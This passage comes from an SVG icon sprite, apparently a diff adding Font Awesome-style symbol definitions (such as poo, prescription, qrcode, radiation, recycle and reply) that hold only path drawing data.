0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-64z"></path> + </symbol> + <symbol id="poo" viewBox="0 0 512 512"> + <path d="M451.4 369.1C468.7 356 480 335.4 480 312c0-39.8-32.2-72-72-72h-14.1c13.4-11.7 22.1-28.8 22.1-48 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C250.3 14.6 256 30.6 256 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 19.2 8.7 36.3 22.1 48H104c-39.8 0-72 32.2-72 72 0 23.4 11.3 44 28.6 57.1C26.3 374.6 0 404.1 0 440c0 39.8 32.2 72 72 72h368c39.8 0 72-32.2 72-72 0-35.9-26.3-65.4-60.6-70.9zM192 256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm159.5 139C341 422.9 293 448 256 448s-85-25.1-95.5-53c-2-5.3 2-11 7.8-11h175.4c5.8 0 9.8 5.7 7.8 11zM320 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="poo-storm" viewBox="0 0 448 512"> + <path d="M308 336h-57.7l17.3-64.9c2-7.6-3.7-15.1-11.6-15.1h-68c-6 0-11.1 4.5-11.9 10.4l-16 120c-1 7.2 4.6 13.6 11.9 13.6h59.3l-23 97.2c-1.8 7.6 4 14.8 11.7 14.8 4.2 0 8.2-2.2 10.4-6l88-152c4.6-8-1.2-18-10.4-18zm66.4-111.3c5.9-9.6 9.6-20.6 9.6-32.7 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C218.3 14.6 224 30.6 224 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 12.1 3.7 23.1 9.6 32.7C32.6 228 0 262.2 0 304c0 44 36 80 80 80h48.3c.1-.6 0-1.2 0-1.8l16-120c3-21.8 21.7-38.2 43.7-38.2h68c13.8 0 26.5 6.3 34.9 17.2s11.2 24.8 7.6 38.1l-6.6 24.7h16c15.7 0 30.3 8.4 38.1 22 7.8 13.6 7.8 30.5 0 44l-8.1 14h30c44 0 80-36 80-80 .1-41.8-32.5-76-73.5-79.3z"></path> + </symbol> + <symbol id="poop" viewBox="0 0 512 512"> + <path d="M451.36 369.14C468.66 355.99 480 335.41 480 312c0-39.77-32.24-72-72-72h-14.07c13.42-11.73 22.07-28.78 22.07-48 0-35.35-28.65-64-64-64h-5.88c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96-5.17 0-10.15.74-15.11 1.52C250.31 14.64 256 30.62 256 48c0 44.18-35.82 80-80 80h-16c-35.35 0-64 28.65-64 64 0 19.22 8.65 36.27 22.07 48H104c-39.76 0-72 32.23-72 72 0 23.41 11.34 43.99 28.64 57.14C26.31 374.62 0 404.12 0 440c0 39.76 32.24 72 72 72h368c39.76 0 72-32.24 72-72 0-35.88-26.31-65.38-60.64-70.86z"></path> + </symbol> + <symbol id="portrait" viewBox="0 0 384 512"> + <path d="M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM192 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 384 80 375.4 80 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"></path> + </symbol> + <symbol id="pound-sign" viewBox="0 0 320 512"> + <path d="M308 352h-45.495c-6.627 0-12 5.373-12 12v50.848H128V288h84c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-84v-63.556c0-32.266 24.562-57.086 61.792-57.086 23.658 0 45.878 11.505 57.652 18.849 5.151 3.213 11.888 2.051 15.688-2.685l28.493-35.513c4.233-5.276 3.279-13.005-2.119-17.081C273.124 54.56 236.576 32 187.931 32 106.026 32 48 84.742 48 157.961V224H20c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h28v128H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h296c6.627 0 12-5.373 12-12V364c0-6.627-5.373-12-12-12z"></path> + </symbol> + <symbol id="power-off" viewBox="0 0 512 512"> + <path d="M400 54.1c63 45 104 118.6 104 201.9 0 136.8-110.8 247.7-247.5 248C120 504.3 8.2 393 8 256.4 7.9 173.1 48.9 99.3 111.8 54.2c11.7-8.3 28-4.8 35 7.7L162.6 90c5.9 10.5 3.1 23.8-6.6 31-41.5 30.8-68 79.6-68 134.9-.1 92.3 74.5 168.1 168 168.1 91.6 0 168.6-74.2 168-169.1-.3-51.8-24.7-101.8-68.1-134-9.7-7.2-12.4-20.5-6.5-30.9l15.8-28.1c7-12.4 23.2-16.1 34.8-7.8zM296 264V24c0-13.3-10.7-24-24-24h-32c-13.3 0-24 10.7-24 24v240c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24z"></path> + </symbol> + <symbol id="pray" viewBox="0 0 384 512"> + <path d="M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z"></path> + </symbol> + <symbol id="praying-hands" viewBox="0 0 640 512"> + <path d="M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z"></path> + </symbol> + <symbol id="prescription" viewBox="0 0 384 512"> + <path d="M301.26 352l78.06-78.06c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0L256 306.74l-83.96-83.96C219.31 216.8 256 176.89 256 128c0-53.02-42.98-96-96-96H16C7.16 32 0 39.16 0 48v256c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-80h18.75l128 128-78.06 78.06c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0L256 397.25l78.06 78.06c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63L301.26 352zM64 96h96c17.64 0 32 14.36 32 32s-14.36 32-32 32H64V96z"></path> + </symbol> + <symbol id="prescription-bottle" viewBox="0 0 384 512"> + <path d="M32 192h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v64zM360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24z"></path> + </symbol> + <symbol id="prescription-bottle-alt" viewBox="0 0 384 512"> + <path d="M360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24zM32 480c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v352zm64-184c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48z"></path> + </symbol> + <symbol id="print" viewBox="0 0 512 512"> + <path d="M448 192V77.25c0-8.49-3.37-16.62-9.37-22.63L393.37 9.37c-6-6-14.14-9.37-22.63-9.37H96C78.33 0 64 14.33 64 32v160c-35.35 0-64 28.65-64 64v112c0 8.84 7.16 16 16 16h48v96c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-96h48c8.84 0 16-7.16 16-16V256c0-35.35-28.65-64-64-64zm-64 256H128v-96h256v96zm0-224H128V64h192v48c0 8.84 7.16 16 16 16h48v96zm48 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"></path> + </symbol> + <symbol id="procedures" viewBox="0 0 640 512"> + <path d="M528 224H272c-8.8 0-16 7.2-16 16v144H64V144c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v352c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48h512v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-61.9-50.1-112-112-112zM136 96h126.1l27.6 55.2c5.9 11.8 22.7 11.8 28.6 0L368 51.8 390.1 96H512c8.8 0 16-7.2 16-16s-7.2-16-16-16H409.9L382.3 8.8C376.4-3 359.6-3 353.7 8.8L304 108.2l-19.9-39.8c-1.4-2.7-4.1-4.4-7.2-4.4H136c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm24 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z"></path> + </symbol> + <symbol id="project-diagram" viewBox="0 0 640 512"> + <path d="M384 320H256c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM192 32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v128c0 17.67 14.33 32 32 32h95.72l73.16 128.04C211.98 300.98 232.4 288 256 288h.28L192 175.51V128h224V64H192V32zM608 0H480c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="pump-medical" viewBox="0 0 384 512"> + <path d="M235.51,159.82H84.24A64,64,0,0,0,20.51,218L.14,442a64,64,0,0,0,63.74,69.8h192A64,64,0,0,0,319.61,442L299.24,218A64,64,0,0,0,235.51,159.82Zm4.37,173.33a13.35,13.35,0,0,1-13.34,13.34h-40v40a13.33,13.33,0,0,1-13.33,13.33H146.54a13.33,13.33,0,0,1-13.33-13.33v-40h-40a13.34,13.34,0,0,1-13.33-13.34V306.49a13.33,13.33,0,0,1,13.33-13.34h40v-40a13.33,13.33,0,0,1,13.33-13.33h26.67a13.33,13.33,0,0,1,13.33,13.33v40h40a13.34,13.34,0,0,1,13.34,13.34ZM379.19,93.88,335.87,50.56a64,64,0,0,0-45.24-18.74H223.88a32,32,0,0,0-32-32h-64a32,32,0,0,0-32,32v96h128v-32h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.19,93.88Z"></path> + </symbol> + <symbol id="pump-soap" viewBox="0 0 384 512"> + <path d="M235.63,160H84.37a64,64,0,0,0-63.74,58.21L.27,442.21A64,64,0,0,0,64,512H256a64,64,0,0,0,63.74-69.79l-20.36-224A64,64,0,0,0,235.63,160ZM160,416c-33.12,0-60-26.33-60-58.75,0-25,35.7-75.47,52-97.27A10,10,0,0,1,168,260c16.33,21.8,52,72.27,52,97.27C220,389.67,193.12,416,160,416ZM379.31,94.06,336,50.74A64,64,0,0,0,290.75,32H224A32,32,0,0,0,192,0H128A32,32,0,0,0,96,32v96H224V96h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.31,94.06Z"></path> + </symbol> + <symbol id="puzzle-piece" viewBox="0 0 576 512"> + <path d="M519.442 288.651c-41.519 0-59.5 31.593-82.058 31.593C377.409 320.244 432 144 432 144s-196.288 80-196.288-3.297c0-35.827 36.288-46.25 36.288-85.985C272 19.216 243.885 0 210.539 0c-34.654 0-66.366 18.891-66.366 56.346 0 41.364 31.711 59.277 31.711 81.75C175.885 207.719 0 166.758 0 166.758v333.237s178.635 41.047 178.635-28.662c0-22.473-40-40.107-40-81.471 0-37.456 29.25-56.346 63.577-56.346 33.673 0 61.788 19.216 61.788 54.717 0 39.735-36.288 50.158-36.288 85.985 0 60.803 129.675 25.73 181.23 25.73 0 0-34.725-120.101 25.827-120.101 35.962 0 46.423 36.152 86.308 36.152C556.712 416 576 387.99 576 354.443c0-34.199-18.962-65.792-56.558-65.792z"></path> + </symbol> + <symbol id="qrcode" viewBox="0 0 448 512"> + <path d="M0 224h192V32H0v192zM64 96h64v64H64V96zm192-64v192h192V32H256zm128 128h-64V96h64v64zM0 480h192V288H0v192zm64-128h64v64H64v-64zm352-64h32v128h-96v-32h-32v96h-64V288h96v32h64v-32zm0 160h32v32h-32v-32zm-64 0h32v32h-32v-32z"></path> + </symbol> + <symbol id="question" viewBox="0 0 384 512"> + <path d="M202.021 0C122.202 0 70.503 32.703 29.914 91.026c-7.363 10.58-5.093 25.086 5.178 32.874l43.138 32.709c10.373 7.865 25.132 6.026 33.253-4.148 25.049-31.381 43.63-49.449 82.757-49.449 30.764 0 68.816 19.799 68.816 49.631 0 22.552-18.617 34.134-48.993 51.164-35.423 19.86-82.299 44.576-82.299 106.405V320c0 13.255 10.745 24 24 24h72.471c13.255 0 24-10.745 24-24v-5.773c0-42.86 125.268-44.645 125.268-160.627C377.504 66.256 286.902 0 202.021 0zM192 373.459c-38.196 0-69.271 31.075-69.271 69.271 0 38.195 31.075 69.27 69.271 69.27s69.271-31.075 69.271-69.271-31.075-69.27-69.271-69.27z"></path> + </symbol> + <symbol id="question-circle" viewBox="0 0 512 512"> + <path d="M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"></path> + </symbol> + <symbol id="quidditch" viewBox="0 0 640 512"> + <path d="M256.5 216.8L343.2 326s-16.6 102.4-76.6 150.1C206.7 523.8 0 510.2 0 510.2s3.8-23.1 11-55.4l94.6-112.2c4-4.7-.9-11.6-6.6-9.5l-60.4 22.1c14.4-41.7 32.7-80 54.6-97.5 59.9-47.8 163.3-40.9 163.3-40.9zm238 135c-44 0-79.8 35.8-79.8 79.9 0 44.1 35.7 79.9 79.8 79.9 44.1 0 79.8-35.8 79.8-79.9 0-44.2-35.8-79.9-79.8-79.9zM636.5 31L616.7 6c-5.5-6.9-15.5-8-22.4-2.6L361.8 181.3l-34.1-43c-5.1-6.4-15.1-5.2-18.6 2.2l-25.3 54.6 86.7 109.2 58.8-12.4c8-1.7 11.4-11.2 6.3-17.6l-34.1-42.9L634 53.5c6.9-5.5 8-15.6 2.5-22.5z"></path> + </symbol> + <symbol id="quote-left" viewBox="0 0 512 512"> + <path d="M464 256h-80v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8c-88.4 0-160 71.6-160 160v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zm-288 0H96v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8C71.6 32 0 103.6 0 192v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="quote-right" viewBox="0 0 512 512"> + <path d="M464 32H336c-26.5 0-48 21.5-48 48v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48zm-288 0H48C21.5 32 0 53.5 0 80v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="quran" viewBox="0 0 448 512"> + <path d="M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM301.08 145.82c.6-1.21 1.76-1.82 2.92-1.82s2.32.61 2.92 1.82l11.18 22.65 25 3.63c2.67.39 3.74 3.67 1.81 5.56l-18.09 17.63 4.27 24.89c.36 2.11-1.31 3.82-3.21 3.82-.5 0-1.02-.12-1.52-.38L304 211.87l-22.36 11.75c-.5.26-1.02.38-1.52.38-1.9 0-3.57-1.71-3.21-3.82l4.27-24.89-18.09-17.63c-1.94-1.89-.87-5.17 1.81-5.56l24.99-3.63 11.19-22.65zm-57.89-69.01c13.67 0 27.26 2.49 40.38 7.41a6.775 6.775 0 1 1-2.38 13.12c-.67 0-3.09-.21-4.13-.21-52.31 0-94.86 42.55-94.86 94.86 0 52.3 42.55 94.86 94.86 94.86 1.03 0 3.48-.21 4.13-.21 3.93 0 6.8 3.14 6.8 6.78 0 2.98-1.94 5.51-4.62 6.42-13.07 4.87-26.59 7.34-40.19 7.34C179.67 307.19 128 255.51 128 192c0-63.52 51.67-115.19 115.19-115.19zM380.8 448H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z"></path> + </symbol> + <symbol id="radiation" viewBox="0 0 496 512"> + <path d="M328.2 255.8h151.6c9.1 0 16.8-7.7 16.2-16.8-5.1-75.8-44.4-142.2-102.5-184.2-7.4-5.3-17.9-2.9-22.7 4.8L290.4 188c22.6 14.3 37.8 39.2 37.8 67.8zm-37.8 67.7c-12.3 7.7-26.8 12.4-42.4 12.4-15.6 0-30-4.7-42.4-12.4L125.2 452c-4.8 7.7-2.4 18.1 5.6 22.4C165.7 493.2 205.6 504 248 504s82.3-10.8 117.2-29.6c8-4.3 10.4-14.8 5.6-22.4l-80.4-128.5zM248 303.8c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm-231.8-48h151.6c0-28.6 15.2-53.5 37.8-67.7L125.2 59.7c-4.8-7.7-15.3-10.2-22.7-4.8C44.4 96.9 5.1 163.3 0 239.1c-.6 9 7.1 16.7 16.2 16.7z"></path> + </symbol> + <symbol id="radiation-alt" viewBox="0 0 496 512"> + <path d="M312 256h79.1c9.2 0 16.9-7.7 16-16.8-4.6-43.6-27-81.8-59.5-107.8-7.6-6.1-18.8-4.5-24 3.8L281.9 202c18 11.2 30.1 31.2 30.1 54zm-97.8 54.1L172.4 377c-4.9 7.8-2.4 18.4 5.8 22.5 21.1 10.4 44.7 16.5 69.8 16.5s48.7-6.1 69.9-16.5c8.2-4.1 10.6-14.7 5.8-22.5l-41.8-66.9c-9.8 6.2-21.4 9.9-33.8 9.9s-24.1-3.7-33.9-9.9zM104.9 256H184c0-22.8 12.1-42.8 30.2-54.1l-41.7-66.8c-5.2-8.3-16.4-9.9-24-3.8-32.6 26-54.9 64.2-59.5 107.8-1.1 9.2 6.7 16.9 15.9 16.9zM248 504c137 0 248-111 248-248S385 8 248 8 0 119 0 256s111 248 248 248zm0-432c101.5 0 184 82.5 184 184s-82.5 184-184 184S64 357.5 64 256 146.5 72 248 72zm0 216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"></path> + </symbol> + <symbol id="rainbow" viewBox="0 0 576 512"> + <path d="M268.3 32.7C115.4 42.9 0 176.9 0 330.2V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C64 186.8 180.9 80.3 317.5 97.9 430.4 112.4 512 214 512 327.8V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-165.3-140-298.6-307.7-287.3zm-5.6 96.9C166 142 96 229.1 96 326.7V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-74.8 64.5-134.8 140.8-127.4 66.5 6.5 115.2 66.2 115.2 133.1V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-114.2-100.2-205.4-217.3-190.4zm6.2 96.3c-45.6 8.9-76.9 51.5-76.9 97.9V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-17.6 14.3-32 32-32s32 14.4 32 32v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-59.2-53.8-106-115.1-94.1z"></path> + </symbol> + <symbol id="random" viewBox="0 0 512 512"> + <path d="M504.971 359.029c9.373 9.373 9.373 24.569 0 33.941l-80 79.984c-15.01 15.01-40.971 4.49-40.971-16.971V416h-58.785a12.004 12.004 0 0 1-8.773-3.812l-70.556-75.596 53.333-57.143L352 336h32v-39.981c0-21.438 25.943-31.998 40.971-16.971l80 79.981zM12 176h84l52.781 56.551 53.333-57.143-70.556-75.596A11.999 11.999 0 0 0 122.785 96H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12zm372 0v39.984c0 21.46 25.961 31.98 40.971 16.971l80-79.984c9.373-9.373 9.373-24.569 0-33.941l-80-79.981C409.943 24.021 384 34.582 384 56.019V96h-58.785a12.004 12.004 0 0 0-8.773 3.812L96 336H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h110.785c3.326 0 6.503-1.381 8.773-3.812L352 176h32z"></path> + </symbol> + <symbol id="receipt" viewBox="0 0 384 512"> + <path d="M358.4 3.2L320 48 265.6 3.2a15.9 15.9 0 0 0-19.2 0L192 48 137.6 3.2a15.9 15.9 0 0 0-19.2 0L64 48 25.6 3.2C15-4.7 0 2.8 0 16v480c0 13.2 15 20.7 25.6 12.8L64 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L192 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L320 464l38.4 44.8c10.5 7.9 25.6.4 25.6-12.8V16c0-13.2-15-20.7-25.6-12.8zM320 360c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16z"></path> + </symbol> + <symbol id="record-vinyl" viewBox="0 0 512 512"> + <path d="M256 152a104 104 0 1 0 104 104 104 104 0 0 0-104-104zm0 128a24 24 0 1 1 24-24 24 24 0 0 1-24 24zm0-272C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 376a128 128 0 1 1 128-128 128 128 0 0 1-128 128z"></path> + </symbol> + <symbol id="recycle" viewBox="0 0 512 512"> + <path d="M184.561 261.903c3.232 13.997-12.123 24.635-24.068 17.168l-40.736-25.455-50.867 81.402C55.606 356.273 70.96 384 96.012 384H148c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12H96.115c-75.334 0-121.302-83.048-81.408-146.88l50.822-81.388-40.725-25.448c-12.081-7.547-8.966-25.961 4.879-29.158l110.237-25.45c8.611-1.988 17.201 3.381 19.189 11.99l25.452 110.237zm98.561-182.915l41.289 66.076-40.74 25.457c-12.051 7.528-9 25.953 4.879 29.158l110.237 25.45c8.672 1.999 17.215-3.438 19.189-11.99l25.45-110.237c3.197-13.844-11.99-24.719-24.068-17.168l-40.687 25.424-41.263-66.082c-37.521-60.033-125.209-60.171-162.816 0l-17.963 28.766c-3.51 5.62-1.8 13.021 3.82 16.533l33.919 21.195c5.62 3.512 13.024 1.803 16.536-3.817l17.961-28.743c12.712-20.341 41.973-19.676 54.257-.022zM497.288 301.12l-27.515-44.065c-3.511-5.623-10.916-7.334-16.538-3.821l-33.861 21.159c-5.62 3.512-7.33 10.915-3.818 16.536l27.564 44.112c13.257 21.211-2.057 48.96-27.136 48.96H320V336.02c0-14.213-17.242-21.383-27.313-11.313l-80 79.981c-6.249 6.248-6.249 16.379 0 22.627l80 79.989C302.689 517.308 320 510.3 320 495.989V448h95.88c75.274 0 121.335-82.997 81.408-146.88z"></path> + </symbol> + <symbol id="redo" viewBox="0 0 512 512"> + <path d="M500.33 0h-47.41a12 12 0 0 0-12 12.57l4 82.76A247.42 247.42 0 0 0 256 8C119.34 8 7.9 119.53 8 256.19 8.1 393.07 119.1 504 256 504a247.1 247.1 0 0 0 166.18-63.91 12 12 0 0 0 .48-17.43l-34-34a12 12 0 0 0-16.38-.55A176 176 0 1 1 402.1 157.8l-101.53-4.87a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12h200.33a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12z"></path> + </symbol> + <symbol id="redo-alt" viewBox="0 0 512 512"> + <path d="M256.455 8c66.269.119 126.437 26.233 170.859 68.685l35.715-35.715C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.75c-30.864-28.899-70.801-44.907-113.23-45.273-92.398-.798-170.283 73.977-169.484 169.442C88.764 348.009 162.184 424 256 424c41.127 0 79.997-14.678 110.629-41.556 4.743-4.161 11.906-3.908 16.368.553l39.662 39.662c4.872 4.872 4.631 12.815-.482 17.433C378.202 479.813 319.926 504 256 504 119.034 504 8.001 392.967 8 256.002 7.999 119.193 119.646 7.755 256.455 8z"></path> + </symbol> + <symbol id="registered" viewBox="0 0 512 512"> + <path d="M285.363 207.475c0 18.6-9.831 28.431-28.431 28.431h-29.876v-56.14h23.378c28.668 0 34.929 8.773 34.929 27.709zM504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM363.411 360.414c-46.729-84.825-43.299-78.636-44.702-80.98 23.432-15.172 37.945-42.979 37.945-74.486 0-54.244-31.5-89.252-105.498-89.252h-70.667c-13.255 0-24 10.745-24 24V372c0 13.255 10.745 24 24 24h22.567c13.255 0 24-10.745 24-24v-71.663h25.556l44.129 82.937a24.001 24.001 0 0 0 21.188 12.727h24.464c18.261-.001 29.829-19.591 21.018-35.587z"></path> + </symbol> + <symbol id="remove-format" viewBox="0 0 640 512"> + <path d="M336 416h-11.17l9.26-27.77L267 336.4 240.49 416H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm297.82 42.1L377 259.59 426.17 112H544v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16H176a16 16 0 0 0-16 16v43.9L45.46 3.38A16 16 0 0 0 23 6.19L3.37 31.46a16 16 0 0 0 2.81 22.45l588.36 454.72a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zM309.91 207.76L224 141.36V112h117.83z"></path> + </symbol> + <symbol id="reply" viewBox="0 0 512 512"> + <path d="M8.309 189.836L184.313 37.851C199.719 24.546 224 35.347 224 56.015v80.053c160.629 1.839 288 34.032 288 186.258 0 61.441-39.581 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 45.344-145.012-21.507-183.51-176.59-185.742V360c0 20.7-24.3 31.453-39.687 18.164l-176.004-152c-11.071-9.562-11.086-26.753 0-36.328z"></path> + </symbol> + <symbol id="reply-all" viewBox="0 0 576 512"> + <path d="M136.309 189.836L312.313 37.851C327.72 24.546 352 35.348 352 56.015v82.763c129.182 10.231 224 52.212 224 183.548 0 61.441-39.582 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 